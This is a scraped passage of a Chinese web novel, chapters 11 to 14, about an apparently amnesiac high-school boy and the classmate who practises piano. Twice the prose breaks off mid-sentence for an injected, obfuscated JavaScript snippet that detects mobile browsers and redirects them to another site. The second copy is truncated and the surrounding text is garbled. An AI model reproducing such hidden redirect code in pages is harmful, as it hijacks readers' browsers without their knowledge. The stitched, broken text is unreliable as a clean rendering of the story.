邱以星推了一把闻旋和罗鸣玉:“快走。” 走了两步,他忽然想起什么,走回到全小潭面前,把打火机还给他:“以后别往我口袋乱放东西。” 好不容易走了出去,闻旋深深吸了一口外面清新的空气,邱以星面色不是特别好看:“他……全小潭嘴里总不干不净的,你们别放心里去。” “我知道,搞乐队的都不是什么正经——”罗鸣玉刚要说话,就被闻旋猛地戳了一肘子,后面的话被她吸回嗓子眼,以至于呛到空气,猛地咳起来,“咳咳咳……” “我叫了车送你们回去。”邱以星并不在意,“谢谢你们今天过来。” 闻旋摆手,干笑说:“别这么客气,我们是沾了你的光,哈哈。” 三人一时间无话,班级群里被罗鸣玉那条视频炸开了锅,同学们看到视频后纷纷艾特邱以星,问他为什么还留着这么一手,又让他上学后在班里表演一段,热闹了好长时间才消停。 邱以星将消息记录从头翻到尾,试图找出孔栩的评论,最后发现此人竟然不在群里。 真是岂有此理。 送闻旋和罗鸣玉离开后,彭天没多久便给他打来一个电话。 彭天低声对他说:“我前几天去看了丁尧,他说生活困难,手又变成了那样,不打算跟我们一起玩了。” 邱以星:“没事,我们没有键盘也能玩乐队。改天我们去看看他,给他买点东西,他一个人跟奶奶住是挺不容易的。” 彭天又说:“邱哥,你觉得我们还能一起唱多久?” “当然是能多久就多久了,你想那么多干嘛?全小潭呢?没跟你一起吗?” “他跟一个女的去开房了。”彭天说着,声音便有些低沉,短暂的沉默后,又问道,“邱哥,你在一中过得好吗?” “挺好的。”邱以星实话实话,如果某个人能对他和善一点,他会过得更快乐,“怎么了?” “我总觉得你跟我们不是一路人,”彭天笑了下,“就是,怎么说呢,你看你学习成绩这么好,又在省重点读书,以后肯定会考上好大学,我跟全小潭估计高中念完就得去打工了,怎么能凑得到一起呢?” 邱以星没想过那么长远的事,乐队是他初一那年成立的,那时候一个人弹吉他太无聊,几个人脑回路对上,便说要组个乐队,没想到运气这么好,会有这么多人追捧喜欢他们。 全小潭和彭天在本市最差的职高读书,一个学汽修,一个学烹饪,而丁尧比他们大一届,初中念完就不再读书,在外面打零工,这一年多换了无数份工作,没想到刚进一家五金加工店,手指就被切了。 那可是弹键盘的手指,听闻这个消息的时候,他们所有人都沉默了。 “走一步看一步,眼下这三年我们不是在一起的吗?说不定我们乐队越来越火,全世界开巡演呢?”邱以星说着漫无边际的话,“要是有钱了,还能给丁尧装个人工手指,说不定比原来的还好用。” 邱以星只是随口一说,彭天却把他的话听到心里去了,他在邱以星没有看见的地方重重点了一下头:“嗯。” 11. 第 11 章 不知是不是昨晚太晚才睡,邱以星做了一宿噩梦,不记得梦见了什么具体的情节,只记得满脑子塞满了人的尖叫,他身上流了好多血,头上有个大窟窿,浓稠暗沉的血淌到了他的指尖。 他猛地睁眼,感觉浑身被卡车碾过一通,又疼又累,他简直想买个监控回来看看自己是不是大半夜梦游去跑马拉松。 邱以星吃早饭时脸色太差,尚问兰让他早上去学校别骑车了,她送他去。邱以星连忙说:“不用,我骑慢点儿就行。” “你……”尚问兰的手把围裙都攥皱了,她头一次语气这么严厉,“别不听话,万一——” 她刚要说出口,却突然刹住临到嘴边的话,不容置疑地说:“今天不许骑了,把车推进来,我有空给你擦一擦。” “好吧,那我坐公交车去,”邱以星说,“妈,真不用送。” 尚问兰看了他许久,眼眶忽然红了,她别过脸,不让邱以星看见自己这副模样:“路上注意安全。” 邱以星戴着耳机在小区外面的公交站台等公交,眼见三十七路车驶来,邱以星上了车,还没坐下就看到了一张熟悉的不苟言笑紧绷绷小脸。 熟悉的面孔很明显也看到了他,原本面无表情的脸忽然往下一拉,晴转雷雨,仿佛在说:倒了八辈子霉。 邱以星恶心的功夫着实到家,他摘了耳机塞到书包侧边,大摇大摆毫不客气地往孔栩旁边的空位坐下。 “咳,”邱以星清了清嗓子,“怎么这么巧?还真是——有缘千里来相会。” “不是冤家不聚头。” 两人几乎同一时间说道。 孔栩深呼一口气,很想把自己的嘴打一打,让你多嘴。 邱以星脸上的笑容更张扬起劲了,他说:“‘冤家’?不错,我喜欢这个叫法。” 好在邱以星接下来都安安静静的,孔栩瞥见车窗上的人影紧紧皱眉,不太舒服的样子。 他抿起嘴,没有过问。 到站后,两人一路无话,一前一后走进校门,今天门口值班的正好是何斯清,孔栩看了她一眼,没有作声,何斯清也没跟他打招呼,看见孔栩身后的人影时,她却一愣,仿佛吓了一跳,上下打量一番邱以星,不确定地问道:“……是邱以星吗?” 邱以星听到声音不由得抬起脸,与此同时,孔栩也莫名回过头。 “真的是你啊,邱以星。”何斯清万年不变的严肃面孔露出一丝笑意,“我是何老师啊,你还记得我吗?你现在还在弹钢琴吗?” “……何老师?”邱以星头痛了一路,看到孔栩都不想跟他斗嘴了,他眼前这个女老师有点眼熟,我见过她吗? 邱以星听不懂,他的大脑像被什么东西扎了一般,整个人头晕目眩,很想吐。 “妈,你们认识?”孔栩不知道何斯清是怎么跟邱以星产生了交集。 何斯清说:“他就是我跟你说过的那个小孩。” ——那个小孩。 孔栩八岁那年,何斯清因为工作关系在本地的少年宫兼任过奥数老师。 少年宫是纯公益性质的,与何斯清一同去的,还有一中的另外一位音乐老师,教钢琴。由于孔栩一直练琴,何斯清对钢琴也稍微有了一些心得,偶尔会听音乐老师谈及她带的钢琴班里有一位非常出众的男孩,很有音乐天赋,曲子听过一遍就能大差不差地复刻下来。 这令何斯清感到好奇,于是某天她刻意提早去少年宫,听这位男孩练琴。 何斯清欣赏他的同时,也倍感压力,为孔栩。 她想,如果在赛场和这男孩相遇,她认为孔栩不一定能赢他。孔栩自幼学琴,技巧有余而感情欠缺,可这个叫“邱以星”的男孩却天生拥有饱满的情绪,假以时日一定能成大器。 只是很可惜,半个学期后,邱以星便没有继续来少年宫,何斯清不久后也从少年宫离开,没有和邱以星再有过任何接触。 何斯清有时候在家教育孔栩时,“那个小孩”便会反复出现在她口中。 她总是告诫孔栩,不要以为会弹几首难度大的曲子就了不起,在你之外,还有更厉害更有天赋的人,只要你一松懈,就会被他比下去,你只有一直练一直练一直练才有可能超过他,赢到最后。 孔栩一开始把“那个小孩”当做是隐形对手,敌视了一阵,后来发现这个人只出现在过何斯清口中。 不管他参加什么类型的钢琴比赛,国内的还是国外的,都没见过这个人,如果他真像何斯清说的那样有天赋,早就在他的同龄人中脱颖而出,这一行不可能毫无他的传闻。 他疑心这人是何斯清虚构出来吓唬他的,没想到真的存在,竟然还是邱以星。 孔栩的表情一言难尽像是吃了一口屎,头一扭,片刻都不想再停留。 邱以星见孔栩走了,忙对何斯清丢下一句“不好意思何老师,我不太记得了”,便追了过去。 “你妈妈是学校的老师?怎么没听你说过?”邱以星三两步便跟上孔栩的脚步。 孔栩却走得更快,他心烦意乱,没有心情跟邱以星说话。 “你妈妈说我什么来着,为什么对你提起我?难道我优秀到家喻户晓了?” 这句话让孔栩原地直接炸毛,他飞快地伸过一只胳膊,一把扯过邱以星,目光炯炯地怒视他:“闭嘴,你不说话没人把你当哑巴。” “真是这样啊?”邱以星眉飞色舞,觉得自己说中让孔栩恼羞成怒。 孔栩仍旧抓着他不放,说:“为什么你不弹了?” 邱以星毫无预兆,突然蹲下身抱住头:“嘘!好吵。” 他的脑子里灌满了断断续续的声音。 “从今……始,你叫……以星了……这名字……好不好听?你看,这是……给你准备的房间,和……一样大……欢迎……” “松开!松……这……小偷,……是我的……,不许……碰我的……!不许……叫他们……,那是我的……,……快滚……啊!……回你的……!” “不要叫我……,……不是……的……哥,你别……我,蠢……,笨……了!……电梯……不……坐!你哭……?我……欺……你,是……自己……笨。” “去了……要听……,……读书,奶奶……看你……,你……我也可以……打电话,好不……?” “奶奶——”邱以星泪流满面,无助地喊了一声,“奶奶……妈妈——” “你怎么了?”孔栩看见邱以星突然间大叫,他连忙松开邱以星的衣领,以为他又在故意整自己,“喂,你能不能别搞我了,好多人都在看这边!你快起来!” 过了好几秒,邱以星缓过神,他抬起满是泪水的脸,与刚刚痛苦的模样判然有别:“……你刚刚说什么?” “你哭什么,别人以为我在欺负你,”孔栩不知道邱以星吃错了什么药 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一中教学楼有五栋,分别为博学楼、审问楼、慎思楼、明辨楼和笃行楼,前四栋楼学习文化类的课程,笃行楼是学习艺术类课程的教学楼,由于有一些大型的教学设备,所以选择这些社团课的学生需要自行来这里上课。 琴房在笃行楼一楼,一楼两侧的玻璃展柜里分门别类地摆上了中国传统乐器与部分西洋乐器,比如琵琶、笙、二胡、月琴,还有管、小号、竖笛、小提琴之类,中间甚至专门划分一块区域放置了一具箜篌,琴弦泛着冰冷和细腻的光辉。 每个乐器旁都有注解,写着它们出现及发展的历史。 一走进门,如同走进一个崭新的世界。 “我还没来过这里……”邱以星张大了眼睛,四处张望,喃喃自语。 邱以星指着一个长条金属与簧片构成的稀奇小玩意,问孔栩:“这是什么?” “不是有字吗?口簧。”孔栩说,“放嘴里拨簧片弹的。” 邱以星长了些许见识,自言自语说:“放嘴里,弹出来的声音能好听吗?” “你可以试试,”孔栩怂恿他,屈起食指敲了敲,“掀开玻璃盖板就能拿出来。” “我才不要,脏死了。” 琴房有许多间,孔栩和学校的音乐老师也很熟,有一把钥匙,音乐老师一般在大教室上课,小琴房就空置下来,他从小就经常被丢在这,是这里的常客。 他轻车熟路地拉上窗帘,打开灯,邱以星也走进来。 这间琴房大约只有六平米,摆着一架珠江立式钢琴,钢琴顶盖上搭着一块红色绒布,绒布上有一排憨态可掬的多肉。 钢琴看上去已经很有年头,并不是多昂贵的品牌,邱以星凑近看,还看到琴上贴着几张贴纸,是吃某种零食里赠送的卡通贴纸。 “这是你贴的吗?”邱以星说,“好有童心啊孔栩。” 孔栩将书包放在靠墙的课桌上,没错,这里有一张教室里用的课桌,是孔栩专用,小时候孔栩在这里等何斯清下班,如果先练完琴,会趴在桌上写作业。 “谢谢。”孔栩坐在琴凳上,并不理会邱以星的调侃,“我要练琴了,这里没什么好玩的,你走吧。” “怎么不好玩了,”邱以星拉过一旁座椅,岔开双腿反向坐下,胳膊肘搭在椅背上,朝孔栩露出一个笑,“这么近距离欣赏你弹琴,难道还不好玩吗?” 12. 第 12 章 练琴是无聊而枯燥的过程,需得牢牢黏在琴凳上,装作是一个不会呼吸不会眨眼的非生命体。 孔栩时常有种错觉,他只剩下两只手,一双耳朵,身体的其他部分变成空气里看不见的粒子,在漫长的时间中一点一点地湮灭。 邱以星的在场令他不自在,琴房是独属于他的小天地,有种私人领域被他人侵犯的感受。 孔栩弹了几首练习曲,活动过手指关节,开始弹斯卡拉蒂奏鸣曲。 琴音响彻不大的琴房,充斥在每个角落,孔栩一边弹一边留神邱以星的动静,发现邱以星并没有作妖,只是安安静静地听着,他便不再管邱以星,练习自己月底在岚江大剧院独奏会上表演的曲目。 之前有次比赛他拿到国内赛区一等奖,认识了国立音乐艺术大学的资深教授。这位教授对孔栩的演奏极为推崇赏识,他给剧院写推荐信让孔栩去演出,这对孔栩是来之不易的机会,他非常珍惜。 一曲弹完,孔栩发现邱以星就着枕手臂的姿势,歪头睡着了。 这么吵也能睡?我弹的是催眠曲吗? 孔栩于是重重按在低音区,开始弹李斯特的《死之舞》。 这首曲子威严而磅礴,激昂又充满阴郁的色调,听起来并不轻松,也绝与催眠曲无关。 开篇则是死神迈着阴森恐怖的脚步走来,孔栩全情投入,手指弹得飞起,希望让邱以星做一个被死神追杀的噩梦。 这台钢琴年纪大了,孔栩与他相处多年,知道它身上的每一道伤痕与每一处按键的缺陷,也难以将曲子最为完美地演绎出来,但孔栩已经尽力。 一曲终了,震荡的余音久久环绕琴房,孔栩的胸膛微微起伏,轻轻呼出一口气。 邱以星维持着刚才的姿势一动不动,竟然还在睡。 是装的吧?孔栩难以置信。 孔栩又一想,不对,为什么自己总那么在意邱以星,不管他在不在,自己都应该当他不在,不然他的目的不就达到了。 他两只手放在黑白琴键上,这是他唯一的也是最好的伙伴,他弹奏另外一支曲子,进入到浑然忘我的状态,他全情投入,逐渐失去对周围事物的感知。 孔栩练完后,浑身都冒着热气,感觉比刚来时要轻松多了。他想,他还是热爱弹琴的,也不一定要成为多厉害的钢琴家,只要能一直弹下去。 他注视着趴在桌上的邱以星,这人好像自那之后再也没有弹过琴? 明明有天赋,为什么不继续? 孔栩看了一眼墙上的挂钟,再不走就要错过最后一班公交车,他盖上琴盖,起身走到邱以星面前。 要说邱以星什么时候会稍微不那么令人讨厌,大概就是此刻。 他闭着眼睛,呼吸均匀,仿若新生的婴孩,睡得无比昏沉。沉得好像从未睡过一个如此香甜的觉。 “走了。”孔栩说。 邱以星没有动静。 “你别再装模作样的,你不走我走了。”孔栩拎起桌上的书包,走到门旁,回头看邱以星,“我真走了。” 他关灯,带上门,走出好几步,又停下脚步等了一分钟左右,门并没有要打开的迹象。 孔栩想了想,转身重新回到琴房,推了邱以星一把,邱以星像是被人下了安眠药似的,一点反应也没有。 孔栩生气了,低头看到他雪白的球鞋,往上重重踩了一脚,朝他耳朵大声喊:“邱以星,醒醒了!学校要关门了!你还要睡到什么时候?!” 邱以星醒来了。 他的手指蜷缩了一下,眼皮重若千钧,拼着很大的力气掀开眼皮,睁眼便看见一个板着小脸,蹙眉,模样正经的男孩子对他不耐烦地说:“你还知道醒啊,我以为你要就此长眠,连你墓志铭都想好了。” 或许是刚醒,邱以星的眼中满是迷茫,像是从一团迷雾里走出来。 他揉着干涩的眼皮,望了孔栩很久,久到孔栩以为他在挑衅自己,他轻声问:“刚刚是你在弹琴?” “不是我,难道是你梦里弹的?” “这台钢琴不适合弹德彪西,”邱以星仰头看孔栩,眼中晃动着他难以察觉的羡慕与敬佩,“但你弹出了流动与温柔的月色,动听至极。” 孔栩听完前半句想说“你管我弹什么”,听完后半句想说“你又在憋什么坏”。 但他两句都没说:“还愣着干什么,把椅子推回去,走了。” 孔栩这次没回头,径直走出琴房的门,邱以星连忙将椅子摆好,匆忙跟过去,孔栩比他稍微快半步,邱以星便也加快了自己的脚步,试图与他保持一致。 邱以星的心跳出奇的快,他睡着时听到有人在弹奏,曲调优美和谐,是他听过的最清透的月光。 他想,他是因为这首曲子而醒过来。 如果他是中了诅咒沉睡百年的睡美人,这个男孩的指尖就是唤醒他的真爱之吻。 他像是游魂一般跟在孔栩身后,周围所有的景物都是陌生的,他好奇地打量四周。 彼时太阳已经落下,四周是黑的,唯有头顶的灯光照在他们身上。 宽阔走廊两侧的五花八门的乐器令他目不暇接,他看得两眼放光,几乎整个身子趴在了玻璃展示柜上,孔栩皱眉问:“你在干什么?” “这是什么?”邱以星指着那支褪色的口簧,带着一丝兴奋与好奇,“长得真奇怪,它能发出声音吗?” 孔栩抿了抿嘴唇,刻薄的话已经堆在了嗓子眼,他说:“您老今年贵庚?” “啊?”邱以星的眼睛闪了闪,认真思考一番说,“今年……是哪一年?” 孔栩冲他咆哮:“你搞哪一出,不是才跟你说过,你这么健忘?哪一年?你问我哪一年?你怎么不问问我叫什么名字?!” 邱以星于是礼貌地询问:“请问……你叫什么名字?” 孔栩果断闭上嘴,决定再也不跟邱以星废话半个字。 “对不起啊,我是不是让你不高兴了?”邱以星敏锐地察觉到氛围似乎不是很愉悦,他露出一个讨好的笑容,“我的记性不是很好,真不记得了,你再跟我说一遍好不好?我一定会好好记住的。” 换做旁人,孔栩二话不说便会耐心有加地跟他再讲解一遍,但这是邱以星,孔栩自认早已看清此人嘴脸,他表现的如此反常,一定是在作什么妖。 孔栩心说,我才不上你的当。 孔栩不知道的是,邱以星是真的不记得,没有印象,确切的说,他丧失了自他初三至今的全部记忆。 “我初三那年出过车祸,”邱以星跟孔栩解释说,“可能跟这个有关,所以我不记得……” 孔栩恍然大悟,打断他的话,惊讶地瞪圆眼睛:“什么?你之前出过车祸,导致现在失忆了?” 邱以星:“……可以这么说吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016789|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔栩万分惋惜地拉长语调:“那你岂不是把我们之间发生的事都忘得一干二净了?” 邱以星一听孔栩说这话,忽然忐忑不安起来。 是啊,他什么都不记得了,他们难道是很要好的朋友吗?他脑子一片混乱,自己不记得了会不会让他感到伤心?如果他们立场互换,自己应该也很难接受吧。 他想,他们可以重新做朋友,他会对他很好,他也即将这样开口,哪成想孔栩原本微微上翘的嘴角突然间拉了下来,恶狠狠地压低声音:“你能不能别把我当猴耍?车祸?失忆?睡一觉就失忆,写小说都没这么荒唐搞笑!那么多人喜欢跟你一起玩,你去找他们行吗?别来找我,算我求你了。” 邱以星愣在原地,快要忘记呼吸,他的脸憋得通红,想要解释,却望见孔栩冰凉的充满厌恶的眼神。 他把话吞回了肚子。 这个人不喜欢自己,邱以星完整地接收到了孔栩对他毫不掩饰的厌烦。 他讨厌我,邱以星难过地想,他很讨厌我,不是一星半点,为什么? 两人在学校门口分开,邱以星不知是要回家,还是去别的地方逛一逛,门口漆黑一片,他还不想回家,不知道怎么面对他的爸爸妈妈。 流动摊贩们已经收摊,对面的旧书店还开着,几只大蛾子不知死活地在路灯上撞来撞去,邱以星蹲在路边,没安全感的把脸埋在胳膊里。 他对这一带并不熟悉,夜色将黑纱轻披在他身上,秋天的晚风是冷的,他感到四肢被吹得如水般冰凉,他回想起刚刚那个少年看他的眼神,情不自禁地抖了一下。 他绝望地想,怎么就醒了,不是睡得好好的吗?他不想当邱以星,当邱以星好累,邱以星是全世界最笨最蠢最没用的人,邱以星应该早就死掉,没人会喜欢邱以星。 “最后一班车就要来了,你还不上车,打算用腿走回去吗?”一个超级不耐烦的声音响在他耳边,邱以星猛地抬起头。 他脸上一片湿漉漉的水迹,灯光下尤为明显,眼眶发红,浓密的睫毛被他压得乱七八糟,孔栩望见这一幕表面风平浪静,内心却颇为惊骇。 他……他这是在哭? 不是,是口水,一定是口水,孔栩连忙想,邱以星不仅为人可恶,还不讲卫生。 邱以星飞快抹了把脸,他张了张口,带着浓厚的鼻音问:“……你怎么?” “别废话了行不行?”孔栩催促他,“磨磨蹭蹭的。” 孔栩在站台等公交时看到邱以星蹲在这,明明长得人高马大,却孤零零的像是一只被遗弃的小动物,眼看着车就要到站,他最后还是忍不住提醒了一句,早知道就不提醒,感觉像是撞见了邱以星不能见人的秘密似的,搞得怪尴尬。 上车后,邱以星用手机查了查回家的路线,回复了一条尚问兰一个多小时前给他发的,问他什么时候回家的信息。 由于是末班车,车上除他俩以外就没旁人,邱以星怕再惹孔栩厌烦,便坐到一个离他最远的位置。 他头靠窗户,望着孔栩一副生人勿近的背影,他默默地向上天祈祷,希望明天一早他能够彻底消失。 世界上的难题太多,他从小就不擅长解答复杂的题目,邱以星想,那么就换另外的人来解答,他退出、消失、再也不要出现就好了。 那样大家都会满意开心,世界也会成为更好的世界。 13. 第 13 章 然而这一切未能如邱以星所愿。 邱以星回到家,邱远和尚问兰都已经睡了。 不用面对他们,也不用跟他们说话,邱以星久久悬着的心扑通一声落回原地。 尚问兰给他留了饭,他吃了两口,把饭菜收拾好放进冰箱,端着碗筷去厨房洗。他把水龙头拧得小小的,水流如雨丝一般浇在他手上,他没两下洗好碗,把碗擦干,看见沥水架上放着另外一个与他手中一模一样的碗。 他盯着那只碗,突然打了个寒战。 邱以星把动作放得极轻,洗漱也不敢发出声音,几乎是踮着脚回到房间。 回房间后,邱以星把书包放在书桌上,他什么都没做,直接钻进被窝,把头深深埋进去。 他想,明天会是新的一天,讨人喜欢的邱以星马上就会回来的,他不用这么提心吊胆,担心自己在父母面前穿帮。 这么想着,邱以星安心地闭上眼,一夜无梦,一直睡到凌晨四点莫名惊醒。 邱以星慌慌张张地从床上爬起来,使劲捏了一下自己的脸,没做梦,到早上了,他竟然还在。 完了完了完了。 对邱以星来说,这天无异于世界末日。 缺失的记忆,陌生的人际关系以及必须直面的父母,每一件都令他感到头痛欲裂。 他不能逃,他无处可逃。 邱以星花了半小时飞快浏览手机相册与对话记录,稍微了解了这段时间他身边有哪些人。 他一边翻一边想,这些人中有他昨天遇到的那个弹琴的男孩吗? 乐队群里每天充斥着一些有的没的内容,大多是全小潭大半夜寂寞难耐的发骚语录,彭天让他别整天污言秽语,全小潭则骂他不是男人。 邱以星一直没回,他看了一眼群里自己的回复也相当少,便把这个群屏蔽,不再理会。 还有几个班级群,初中的群他知道,对加入不久的高中群他一无所知。 群里都是陌生头像,聊的内容比乐队群文明多了,大多在探讨学习方面的内容,还有动漫和明星之类的话题,总之都是高中生感兴趣的话题,偶尔他们还会调侃邱以星,经常在群里艾特他,看来他在班里相当受欢迎。 了解到自己目前的学校与班级,并默默记住班里大多数同学的姓名,邱以星内心的恐惧与慌张稍微平复些许,他坐在桌前,把当天要带的书装进书包,看着一堆没写的作业又开始发愁。 他连题目都看不懂,更别说写了。 早上邱远是第一个出门的,邱以星磨蹭了好久,一直等到尚问兰敲他的门,叫他起床。 尚问兰诧异地嘀咕:“怎么还没起,平时不是早起背单词的吗?身体不舒服了?” 邱以星刷的一下冲到门口,拉开门,连忙解释说:“起了,我起了,我早刷过牙了,正整理书包呢。” 尚问兰疑惑:“昨晚怎么不收拾?桌上有炒面和肉包,你抓紧时间吃点。今天骑不骑车?骑车我就给你把车推出去。” “呃,”邱以星心里咯噔一声,心想,坏了,他不会骑自行车,他在心中酝酿一圈,说,“这几天就算了,早上有点冷,风吹得我头疼。” “头疼?头哪儿疼?”尚问兰一听便关切地凑上来,摸了摸他的脸,“现在还疼不疼,我等会跟柴老师请个假,带你去医院看看。” “不用!真不用!”邱以星忙摆手,“我现在挺好的,一点也不疼了。这段时间我坐公交车就行,车上还有我班里同学,您放心吧。” 尚问兰见他这么说,也就由着他去,可心里始终放不下:“要是不舒服及时跟妈妈说。” “嗯,我多大的人了,知道的。”邱以星冲她笑笑,极力装出一副乐观开朗懂事的模样,拿起一个包子,“我先走了,带着路上吃。” “那怎么行?一个包子哪儿够,早上不吃饱怎么有力气听课。”尚问兰将剩余的包子装进保鲜袋递给他,又将桌上一个保温杯放进他书包侧边袋,“这是刚刚榨的石榴汁,你不是最喜欢吃石榴。中午也要多吃饭,我看这段时间你瘦了不少,是不是学习太辛苦了?” “……还行。”邱以星的笑容已经很勉强,快要维持不下去,尚问兰这才拍拍他的肩膀:“晚上早点回来,别在外面玩太晚,要是迟点回家先给妈妈说一声,别让我们担心。” 邱以星重重“嗯”了一声:“我知道了。” 他心事重重地下楼,包子一口没动,被他装进书包。 石榴汁他也不爱喝,甜不拉几的,他更喜欢喝苹果汁。 唉。邱以星叹气,他还要在这里呆多久,他光是看到尚问兰对自己无微不至的模样就心如刀绞。 所有的爱与担忧都不是给他的,阴霾笼罩他的心,他从来都不是被他们期待的小孩。 孔栩今天特意迟了几分钟,坐上比平时要晚五分钟的公交,因为他不想看见某张讨人厌的脸,结果还没到半路,邱以星就垂着脸上车了。 孔栩牙疼似的皱了下眉,把头转向车窗,假装在看风景。 然而邱以星似乎没有注意到他,邱以星背着书包,慢吞吞地找了一个前排靠窗的位置,坐下后,抱着双臂头仰靠着椅背,仿佛在闭眼小憩。 他心里乱糟糟的,满脑子都是如何应付接下来要见到的人,要装成什么样才会更从容更相似。 邱以星安慰自己,反正他们长得一样,即使行为有些偏差应该也不会有什么影响,走一步看一步吧,他不会在这里呆太久的。 下车时,邱以星见到孔栩,原本灰扑扑的毫无神采的眼睛顿时一亮:“你也在?” 他热情洋溢咧开嘴对孔栩打了个招呼,孔栩也无比自然地无视他,与往常相反,邱以星并没有凑过来死缠烂打,说一些诸如“怎么了,见到我不开心吗?”的骚话。 孔栩没想太多,无论邱以星做什么他都不感到奇怪,邱以星本人就是世上罕见的一株奇葩。 邱以星接收孔栩并不友好的信号,便没有继续跟他搭话,倒不是伤害到自尊心,不想自取其辱,而是他不想让孔栩感到困扰。 他知道自己跟他一个班,于是远远地缀在孔栩身后,进班后,不知道自己坐哪,好在很快有人拍了拍他的桌子,对他说:“邱以星,怎么才来,快,小试卷给我瞅一眼,最后一题我不会写。” 邱以星一看,自己竟然就坐在孔栩前面,他没有理会齐大彬的请求,反倒拿起孔栩桌上的一本作业本,上面写着孔栩的名字,他自言自语地念道:“孔……木……羽。” 孔栩:“……” 邱以星在孔栩的雷点上狂踩:“你叫孔木羽?” 齐大彬一听,瞬间飚出两行热泪,像开水壶烧开了发出一声尖锐的鸣叫:“哈哈哈,邱以星你真会起外号,孔木鱼……孔栩平时看起来就木木的,木鱼这个名字太适合他了!” 孔栩气得七窍冒起青烟,齐大彬这一嗓子喊得比罗鸣玉还响,以至于这个外号飞速在班里流窜开,自此以后喊他外号的比喊他大名的还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一整天邱以星都在手忙脚乱地听课记笔记,他做这些非常不熟练,闻旋也觉得奇怪,他什么时候这么好学了,平时上课也就重点内容会抬头听一听,现在不管什么课,都埋头苦记,一派要当年级第一的架势。 “等等,你怎么连‘车前子清热利尿’也记?”闻旋指着他的笔记本,一脸震惊,“语文老师那么多废话,你怎么都写下来了?你这么爱他,要写一本他的专用语录吗?” 邱以星把这行字擦了,低声说:“不是。” 不记笔记,他就会发呆,为了让自己显得积极,只好记老师的话,他分辨不了重难点,什么都往上记。 “你怎么了?是不是身体不舒服啊?”闻旋见他一脸懊恼,跟平时那副嚣张样判若两人。 “没有,我挺好的。”邱以星朝她笑笑,“谢谢你关心我。” 闻旋一下僵住了,这是邱以星会说的话吗?邱以星顶多会让她别多管闲事,他爱记什么就记什么。 她的脸腾地红了,两手捧脸降温,心里的小鹿扑腾乱跳,妈呀,坏菜了,什么人呐,别对我这么笑好吗? 邱以星对此毫不知情,一天下来,他的手抄得又麻又酸,整个人累得不行,打了个哈欠,收拾好书包,看见孔栩也背上书包往外走,他两步一跨,跟了上去。 14. 第 14 章 今天邱以星表现尚可,除了早上给孔栩起了个外号,其余时间都相当消停,在食堂也离他远远的。 孔栩没直接去车站,他到食堂打包了一份酥一点的抹茶奶油泡芙,小纸袋里总共六个泡芙,孔栩最喜欢吃抹茶味的,中午没买到,没想到晚上运气还挺好。 他右颊吃泡芙吃得鼓鼓囊囊,一回头就看见邱以星站在离他十米左右的位置,正一眨不眨地看着他。 搞什么? 他也要吃? 孔栩暗戳戳把纸袋攥紧,背在身后。 两人相视无言,几秒后孔栩忍不了了:“你鬼鬼祟祟的想干什么?” “你去练琴,还是直接回家?”邱以星问。 “我干什么你管得着吗。” “如果你要练琴,我可以坐在你旁边听吗?我不会打扰你。”邱以星说,“如果你回家,我想跟你坐一班车。” 孔栩万分不解:“你是黏上我了,是不是?” 邱以星往前走了几步,大大方方站在他面前:“嗯,我想跟你做朋友。” “我不要。”孔栩想也不想就拒绝,“之前就说过了,你做梦。” 邱以星料想到孔栩不会答应,可亲耳听到还是感到难受,他想了想,失落地说:“那好吧。” 他垂下眼的样子显出几分落魄,让孔栩联想到昨晚他蹲在路灯下孤零零的模样,孔栩想,这个人应该去当演员,这么会博人同情,定能一炮而红。 “等一下,”孔栩叫住他,“我要去琴房。” 邱以星:“哦。” 孔栩:“你弹给我听。” 邱以星惊讶地张大眼,他看见孔栩露出一个不怀好意的笑容:“听说你后来不再弹钢琴了,我很好奇,为什么?” “因为我要上补习班,”邱以星老实回答,“我妈妈觉得弹钢琴没什么用,学得再好也不能当饭吃,而我期末考试考了全班倒数第一,她很生气,就把少年宫的钢琴课停掉了。” “就因为这个?”孔栩得到了回答,却仍然不满意,“就因为你考了倒一?” “没错。”邱以星说,“我家没有钢琴,在家也不能练,后来就放弃了。” “可你不是在弹吉他?”孔栩追问,“你明明放弃了钢琴,去弹吉他,还组乐队,弹吉他组乐队就不影响学习了?” 邱以星百口莫辩,他破罐子破摔说:“你不信就算了。” 孔栩沉默了一会儿:“那你还想不想弹钢琴?” 邱以星:“……想。” 对于“那个小孩”,孔栩小时候对他有过诸多想象。 他跟自己一样的年纪,竟然弹得比自己还要好,他长得什么样?好看吗?手指是不是比自己的还要长?那他弹李斯特会不会轻松一点?他最喜欢哪个钢琴家?他最擅长弹谁的曲子?他有没有厌烦钢琴的时候?如果弹腻了,要怎么消化这种情绪? 孔栩甚至在脑中捏造出一张脸,他想象这个人陪他练琴,他想象他弹琴的样子,坐姿,手指落在琴键上的动作,他会比自己标准,好看,完美。 可这人是邱以星,孔栩感觉长达七年的幻觉破灭,他竟然想着这样一个无耻的人,想了七年。 “算了吧,我太久没弹过了,”邱以星说,“我最后练的曲子还是巴赫的《二部创意曲》。” “唔,不错,英皇五级的难度,”孔栩耸耸肩,“简单的应该会弹几首吧?弹给我听,你弹了,我就跟你做朋友。” 邱以星不假思索而又满心雀跃地说:“好啊。” 孔栩确实想听邱以星弹钢琴,他一直都想听“那个小孩”的琴声。 邱以星弹吉他,音乐肯定一直在学,他不相信邱以星这七年真的没碰过钢琴,这人嘴里从来没有半句实话。 邱以星迫不及待地跟着孔栩去琴房,他一直没时间转一转一中。 